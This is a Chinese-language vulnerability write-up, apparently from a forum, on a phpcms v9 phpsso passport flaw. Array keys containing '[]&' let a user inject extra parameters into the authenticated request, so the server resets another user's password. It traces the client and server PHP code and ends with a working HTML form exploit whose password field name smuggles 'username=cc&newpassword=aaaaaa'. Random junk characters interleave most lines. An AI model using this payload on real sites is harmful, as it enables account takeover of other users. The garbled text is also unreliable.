提到的通行证的代码:
+ U( Q- y5 H% a; Z- b% l
3 X7 |0 Q$ _% u: ?- }$ c5 _0 D' M; ]& _% d; |# J1 \6 ?0 C7 B
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
: s6 ~! }1 r+ W. X% z6 R' X" F
- g8 z* n. y" @5 R在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。
! t4 K1 s! d& u& D4 o, R& k2 U# C0 ^/ c
我把它留给了你们。
4 S: C/ W, E, l6 F! r/ v8 {不知道你们发现了它没有。& O6 a, V: a5 `. U. G
5 {2 m$ D$ F" r我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。
3 t3 B1 X6 [3 x4 F6 Z
C1 F1 k/ z" I' l* {所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
: J+ I' |* v c- K! y
) |1 R2 J9 p9 N6 k! [( |; M0 \也就是# X+ W5 }2 z# R$ r* r
. D+ b7 x3 Z& Jusername=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
2 \9 f! ]4 e+ ~( j! _: A
/ b' w- N) J9 m( g/ u3 G要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。
, m/ f v4 K2 ^+ s N
' X+ k) Z; _) h
: |4 m! K! v) W$ h; X3 U其实我们有这样的机会,看看代码,如下:' S& ?% ?/ N- B" Y/ a: G
6 N! b4 J# K$ L( r+ x" Z
. @* P& X4 S3 r! bpublic function auth_data($data) {3 h7 `( j7 y1 D4 d2 [
$s = $sep = '';/ q9 {& D- u' `
foreach($data as $k => $v) {
# L5 G1 p& q: i if(is_array($v)) {* S1 C8 L9 P' \3 h) |7 X8 X
$s2 = $sep2 = '';8 K* e2 U& c- p2 [ \1 y2 J+ e! T6 x0 _
foreach($v as $k2 => $v2) {- c$ [# u, `, D1 `2 a: V
$s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);4 {/ R8 h4 n3 b" z8 g8 P4 L
$sep2 = '&';$ d8 e$ {; e6 V0 r Y6 C
}
! p5 |( n) \0 j+ G. ] ? L $s .= $sep.$s2;
, ?. ]" G3 \7 B* e8 {. I, C: Q } else {
4 q; `3 ?. Y4 G; _$ c; l $s .= "$sep$k=".$this->_ps_stripslashes($v);2 B# ` ?) s9 k' W+ d. z G
}
* F- ^+ u, g: o8 N6 t $sep = '&';, `! ~( u" R& f! f3 z. C+ t: e5 A
}# O( @( n2 x2 m! M
' B% q% h7 M# n/ I. R; e- d $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
' D' m+ ]# v/ V: k return $auth_s;
# R( V4 B5 H. \ }
/ F9 w8 C, ?2 i7 f2 [3 v3 c t+ k- ^
可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。1 i- y" g$ h/ w6 B; o" k
( w/ H: {: H; b( W7 a/ c举个例子
+ }' C* t/ x u) a! f/ ?2 M
! u8 a" w1 W! v. l4 A5 k" ?# B0 s; k$a[aaa=a&bbb] = 'a';
; g! t9 C9 O# m& W8 a1 v% S) y# n$ z \4 z+ c# b# }$ [7 @0 H, U. ?: g
会变成aaa=a&bbb=a
! J2 m4 H8 j, D) f
3 Q/ U! \& r/ k- }明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。2 H# ], T: p1 z' x, E/ \
. [2 ~* \! |% F/ U
这个时候,我们可以再去看一个函数。. K' N) Q) q- q' l' {' A
. N. }, U, A& N2 q1 r L/ }1 ?就在这个文件内:" f( ~6 H, s% G2 |
+ i" j1 u* s0 u" T0 U
% t; F0 A, g+ ~% g Bpublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {" u& x7 @. M0 B' W' W
if($email && !$this->_is_email($email)) {6 t7 G: |6 @2 c( E1 ~6 b3 I
return -4;# l, Y8 T' ^0 r. k) P& Q$ d
}" r' |, |/ P; \
return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));
u+ ~5 [2 d. p2 ]: [ }
6 a6 u3 I: w# T/ X6 x
6 T4 d0 N2 F4 @2 Q; _这是向通行证发了这样一个请求。
4 T# }) P2 i* `
8 z+ i6 W3 s+ C7 ~, y4 l+ h我们再跟到通信证代码里去看看,就会有所发现。2 P+ N& @/ A+ y2 C3 E
2 L7 P. ~1 E2 b- c( y; h6 n
0 W% v2 ?5 t; X- X7 y1 ]0 rpublic function edit() {
5 q3 X! J( _! s//能省就省,太长了不是吗?
; F$ r9 p& U) |: C, _% u/ B4 F0 T; i K$ I1 L9 p% P) [" x
if($this->username) {+ Q( a1 [/ S, C, O5 w8 V7 u7 Q
//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
- ?: N% f( w- M6 [* t0 t. p $res = $this->db->update($data, array('username'=>$this->username));
n; E5 b# a# C( R2 M9 ~5 s } else {% i: @. B7 P: S' f5 Q
file_put_contents('typeb.txt',print_r($data,1).$this->uid);
$ T5 W4 N) y9 ^2 b8 H5 [* I $res = $this->db->update($data, array('uid'=>$this->uid));" J' A* I6 {! b) J, x( B
}& y; ~& W, G" C5 c" w
5 c$ X' h1 u& v. U
好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:
5 z/ @& J! C6 c. b+ {* M( c0 m* l/ Q/ e& M' t$ g" E6 o8 D
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
7 j1 [ ]' ?$ e8 I8 a; e0 N6 Y1 p8 {/ X% {! E, x, c
很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。9 Z+ V* Q5 h4 i6 C; n# Z
@3 V5 \/ C7 Y( F9 p5 A& v我当然找到了:9 O6 I y! F0 M" i
phpcms9/phpcms/modules/member/index.php& z6 g' B9 e% @/ [2 t9 f
) u( ~" {& b" Q& C# _2 w
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
: s2 t7 F$ T1 \
' X' R, J$ t5 p* S然后就没有然后了。
" H( Q# O: Q6 ?4 R1 c! l5 h- `/ M M$ |) q7 Q; q+ P
<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">; F5 r h% ^/ h1 b, R
<table width="100%" cellspacing="0" class="table_form">
) T7 S7 L; e9 L <tr>& y8 }0 B8 [) u; N
<th width="80">邮箱:</th> / Y- ^3 v1 f! E: {5 v
<td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
" D1 t }$ v0 X2 | </tr>. V' s' E5 X2 c" k. h4 N; }
<tr>
! R" j0 @. [2 ?8 E4 } <th width="80">原密码:</th>
9 A+ s. \" P! |' i i$ d <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>1 x7 h/ r8 X/ J! \" Q
</tr>
3 e. w+ }6 ~. n' }* r, E# y <tr>
( |$ K: J9 e; I$ L <th>新密码:</th>
/ r/ I8 |/ J# V3 T+ m% U <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
. |% x1 |+ Z4 e% u </tr>
9 ^- a, ~9 W5 P0 j n( y <th></th>
$ N- p) [3 L: N. g0 W; b <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
8 P9 n( j8 q# C& ?5 W* c0 @: B( J0 y </tr>
5 h5 E1 p% s4 F* ?8 q4 ~/ U </table>3 Q& [ A5 U2 r! B( i/ A
8 B! S5 C/ u% Z
6 B' {9 c D" Z2 D/ b2 x2 i </form># ]8 N' J1 @1 d2 H9 N
|